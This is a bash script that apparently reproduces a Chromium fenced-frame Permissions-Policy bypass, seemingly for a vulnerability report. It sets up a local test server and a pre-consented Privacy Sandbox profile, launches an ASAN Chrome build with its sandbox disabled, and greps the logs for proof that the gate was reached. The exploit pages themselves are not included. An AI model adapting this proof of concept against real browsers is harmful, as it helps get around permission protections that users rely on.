#!/bin/bash
# Reproduce the nested-embedder fenced-frame Permissions-Policy bypass.
set -eu

CHROME="${CHROME:-/chromium/chromium/src/out/asan/chrome}"
HERE="$(cd "$(dirname "$0")" && pwd)"
PROFILE=/tmp/chrome-poc-profile

# 1. Start the multi-port test server.
pkill -f 'server.py' 2>/dev/null || true
sleep 1
python3 "$HERE/server.py" 2>"$HERE/server.log" &
SRV=$!
sleep 1

# 2. Prepare a fresh Chrome profile with the Privacy Sandbox user prefs that a
#    real user sets via chrome://settings/adPrivacy. These are *not* security
#    gates for this bug — they are user-consent toggles. The vulnerable
#    Permissions-Policy gate in content/ is exercised regardless.
rm -rf "$PROFILE"
mkdir -p "$PROFILE/Default"
cat > "$PROFILE/Default/Preferences" <<'EOF'
{"privacy_sandbox":{"m1":{"fledge_enabled":true,"ad_measurement_enabled":true,"topics_enabled":true,"consent_decision_made":true,"row_notice_acknowledged":true,"eea_notice_acknowledged":true}}}
EOF

# 3. Launch Chrome.
ASAN_OPTIONS=detect_odr_violation=0 \
timeout 40 \
"$CHROME" \
  --headless=new \
  --no-first-run --no-default-browser-check --no-sandbox --disable-gpu \
  --user-data-dir="$PROFILE" \
  --enable-privacy-sandbox-ads-apis \
  --disable-features=PrivacySandboxAdPrivacyUxDeprecation \
  --privacy-sandbox-enrollment-overrides=http://localhost:18080,http://localhost:18081 \
  --enable-logging=stderr --v=0 \
  http://localhost:18080/top.html \
  > "$HERE/chrome.log" 2>&1 || true

kill $SRV 2>/dev/null || true

echo
echo "===== POC diagnostic output (browser process) ====="
grep -E '\[POC\]|Refused to frame' "$HERE/chrome.log" || echo "(no [POC] lines — gate not reached)"
echo
echo "===== Renderer console output ====="
grep -E '\[TOP\]|\[E\]|\[FF ' "$HERE/chrome.log" || true
echo
echo "===== Server access log (proof FF document loaded) ====="
grep -E 'ff-content|ff-loaded' "$HERE/server.log" || echo "(no ff-content fetches)"